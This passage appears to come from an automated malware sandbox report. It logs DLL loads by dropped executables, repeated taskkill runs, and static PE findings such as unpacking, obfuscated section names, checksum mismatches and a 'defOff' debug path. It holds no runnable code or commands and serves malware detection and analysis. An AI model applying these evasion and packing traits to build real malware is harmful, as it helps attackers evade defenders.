Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\WFFF3RQI4OTCXKCYJD8SM6QSC.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\WFFF3RQI4OTCXKCYJD8SM6QSC.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\WFFF3RQI4OTCXKCYJD8SM6QSC.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\WFFF3RQI4OTCXKCYJD8SM6QSC.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1003096001\num.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll

Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\compatibility.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 3027456 > 1048576

Source: file.exe

Static PE information: Raw size of oxcwbfly is bigger than: 0x100000 < 0x2b7800

Source:	Binary string: my_library.pdbU source: 996773cd54.exe, 0000000A.00000003.2771688785.0000000004EDB000.00000004.00001000.00020000.00000000.sdmp, 996773cd54.exe, 0000000A.00000002.2819953969.0000000000CFC000.00000040.00000001.01000000.0000000E.sdmp, num.exe, 0000001A.00000000.2858043384.000000000088C000.00000008.00000001.01000000.00000012.sdmp, 996773cd54.exe, 0000001D.00000002.3005019658.0000000000CFC000.00000040.00000001.01000000.0000000E.sdmp, 996773cd54.exe, 0000001D.00000003.2911813021.0000000004CBB000.00000004.00001000.00020000.00000000.sdmp, num.exe, 00000024.00000000.3066269323.000000000088C000.00000008.00000001.01000000.00000012.sdmp, num[1].exe.8.dr
Source:	Binary string: my_library.pdb source: 996773cd54.exe, 0000000A.00000003.2771688785.0000000004EDB000.00000004.00001000.00020000.00000000.sdmp, 996773cd54.exe, 0000000A.00000002.2819953969.0000000000CFC000.00000040.00000001.01000000.0000000E.sdmp, num.exe, 0000001A.00000000.2858043384.000000000088C000.00000008.00000001.01000000.00000012.sdmp, 996773cd54.exe, 0000001D.00000002.3005019658.0000000000CFC000.00000040.00000001.01000000.0000000E.sdmp, 996773cd54.exe, 0000001D.00000003.2911813021.0000000004CBB000.00000004.00001000.00020000.00000000.sdmp, num.exe, 00000024.00000000.3066269323.000000000088C000.00000008.00000001.01000000.00000012.sdmp, num[1].exe.8.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: CT1ROX8L8OCI432H.exe, 00000003.00000002.2412866418.00000000002C2000.00000040.00000001.01000000.00000006.sdmp, CT1ROX8L8OCI432H.exe, 00000003.00000003.2278913650.00000000048D0000.00000004.00001000.00020000.00000000.sdmp, QEDBGN5ZBSJ2P7FMKVJ.exe, 00000022.00000003.3041419710.0000000004F70000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe	Unpacked PE file: 3.2.CT1ROX8L8OCI432H.exe.2c0000.0.unpack :EW;.rsrc:W;.idata :W;cfyesryy:EW;gwntuilp:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Unpacked PE file: 4.2.R4UI5PZ4W045Z6XA.exe.750000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xywzvhpg:EW;guxxlfzw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xywzvhpg:EW;guxxlfzw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 5.2.skotes.exe.4d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xywzvhpg:EW;guxxlfzw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xywzvhpg:EW;guxxlfzw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.4d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xywzvhpg:EW;guxxlfzw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xywzvhpg:EW;guxxlfzw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Unpacked PE file: 10.2.996773cd54.exe.cd0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;xugdxrgk:EW;ygzrgnus:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;xugdxrgk:EW;ygzrgnus:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe	Unpacked PE file: 29.2.996773cd54.exe.cd0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;xugdxrgk:EW;ygzrgnus:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;xugdxrgk:EW;ygzrgnus:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: R4UI5PZ4W045Z6XA.exe.0.dr	Static PE information: real checksum: 0x1d9483 should be: 0x1dd58a
Source: CT1ROX8L8OCI432H.exe.0.dr	Static PE information: real checksum: 0x2a786b should be: 0x2a96e2
Source: num.exe.8.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: random[1].exe.8.dr	Static PE information: real checksum: 0x2e391c should be: 0x2ee1cb
Source: NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe.14.dr	Static PE information: real checksum: 0x2a786b should be: 0x2a96e2
Source: random[1].exe0.8.dr	Static PE information: real checksum: 0x2194f4 should be: 0x2179df
Source: skotes.exe.4.dr	Static PE information: real checksum: 0x1d9483 should be: 0x1dd58a
Source: QEDBGN5ZBSJ2P7FMKVJ.exe.9.dr	Static PE information: real checksum: 0x2a786b should be: 0x2a96e2
Source: WFFF3RQI4OTCXKCYJD8SM6QSC.exe.9.dr	Static PE information: real checksum: 0x1d9483 should be: 0x1dd58a
Source: 996773cd54.exe.8.dr	Static PE information: real checksum: 0x2194f4 should be: 0x2179df
Source: file.exe	Static PE information: real checksum: 0x2e391c should be: 0x2ee1cb
Source: Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe.14.dr	Static PE information: real checksum: 0x1d9483 should be: 0x1dd58a
Source: 21024c5511.exe.8.dr	Static PE information: real checksum: 0x2e391c should be: 0x2ee1cb
Source: num[1].exe.8.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: oxcwbfly
Source: file.exe	Static PE information: section name: bkmxxdia
Source: file.exe	Static PE information: section name: .taggant
Source: CT1ROX8L8OCI432H.exe.0.dr	Static PE information: section name:
Source: CT1ROX8L8OCI432H.exe.0.dr	Static PE information: section name: .idata
Source: CT1ROX8L8OCI432H.exe.0.dr	Static PE information: section name: cfyesryy
Source: CT1ROX8L8OCI432H.exe.0.dr	Static PE information: section name: gwntuilp
Source: CT1ROX8L8OCI432H.exe.0.dr	Static PE information: section name: .taggant
Source: R4UI5PZ4W045Z6XA.exe.0.dr	Static PE information: section name:
Source: R4UI5PZ4W045Z6XA.exe.0.dr	Static PE information: section name: .idata
Source: R4UI5PZ4W045Z6XA.exe.0.dr	Static PE information: section name:
Source: R4UI5PZ4W045Z6XA.exe.0.dr	Static PE information: section name: xywzvhpg
Source: R4UI5PZ4W045Z6XA.exe.0.dr	Static PE information: section name: guxxlfzw
Source: R4UI5PZ4W045Z6XA.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: .idata
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: xywzvhpg
Source: skotes.exe.4.dr	Static PE information: section name: guxxlfzw
Source: skotes.exe.4.dr	Static PE information: section name: .taggant
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name: .idata
Source: random[1].exe.8.dr	Static PE information: section name: oxcwbfly
Source: random[1].exe.8.dr	Static PE information: section name: bkmxxdia
Source: random[1].exe.8.dr	Static PE information: section name: .taggant
Source: 21024c5511.exe.8.dr	Static PE information: section name:
Source: 21024c5511.exe.8.dr	Static PE information: section name: .idata
Source: 21024c5511.exe.8.dr	Static PE information: section name: oxcwbfly
Source: 21024c5511.exe.8.dr	Static PE information: section name: bkmxxdia
Source: 21024c5511.exe.8.dr	Static PE information: section name: .taggant
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: xugdxrgk
Source: random[1].exe0.8.dr	Static PE information: section name: ygzrgnus
Source: random[1].exe0.8.dr	Static PE information: section name: .taggant
Source: 996773cd54.exe.8.dr	Static PE information: section name:
Source: 996773cd54.exe.8.dr	Static PE information: section name: .rsrc
Source: 996773cd54.exe.8.dr	Static PE information: section name: .idata
Source: 996773cd54.exe.8.dr	Static PE information: section name:
Source: 996773cd54.exe.8.dr	Static PE information: section name: xugdxrgk
Source: 996773cd54.exe.8.dr	Static PE information: section name: ygzrgnus
Source: 996773cd54.exe.8.dr	Static PE information: section name: .taggant
Source: QEDBGN5ZBSJ2P7FMKVJ.exe.9.dr	Static PE information: section name:
Source: QEDBGN5ZBSJ2P7FMKVJ.exe.9.dr	Static PE information: section name: .idata
Source: QEDBGN5ZBSJ2P7FMKVJ.exe.9.dr	Static PE information: section name: cfyesryy
Source: QEDBGN5ZBSJ2P7FMKVJ.exe.9.dr	Static PE information: section name: gwntuilp
Source: QEDBGN5ZBSJ2P7FMKVJ.exe.9.dr	Static PE information: section name: .taggant
Source: WFFF3RQI4OTCXKCYJD8SM6QSC.exe.9.dr	Static PE information: section name:
Source: WFFF3RQI4OTCXKCYJD8SM6QSC.exe.9.dr	Static PE information: section name: .idata
Source: WFFF3RQI4OTCXKCYJD8SM6QSC.exe.9.dr	Static PE information: section name:
Source: WFFF3RQI4OTCXKCYJD8SM6QSC.exe.9.dr	Static PE information: section name: xywzvhpg
Source: WFFF3RQI4OTCXKCYJD8SM6QSC.exe.9.dr	Static PE information: section name: guxxlfzw
Source: WFFF3RQI4OTCXKCYJD8SM6QSC.exe.9.dr	Static PE information: section name: .taggant
Source: Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe.14.dr	Static PE information: section name:
Source: Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe.14.dr	Static PE information: section name: .idata
Source: Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe.14.dr	Static PE information: section name:
Source: Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe.14.dr	Static PE information: section name: xywzvhpg
Source: Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe.14.dr	Static PE information: section name: guxxlfzw
Source: Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe.14.dr	Static PE information: section name: .taggant
Source: NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe.14.dr	Static PE information: section name:
Source: NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe.14.dr	Static PE information: section name: .idata
Source: NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe.14.dr	Static PE information: section name: cfyesryy
Source: NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe.14.dr	Static PE information: section name: gwntuilp
Source: NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe.14.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01775E2D push ds; retf	0_3_01775E2E
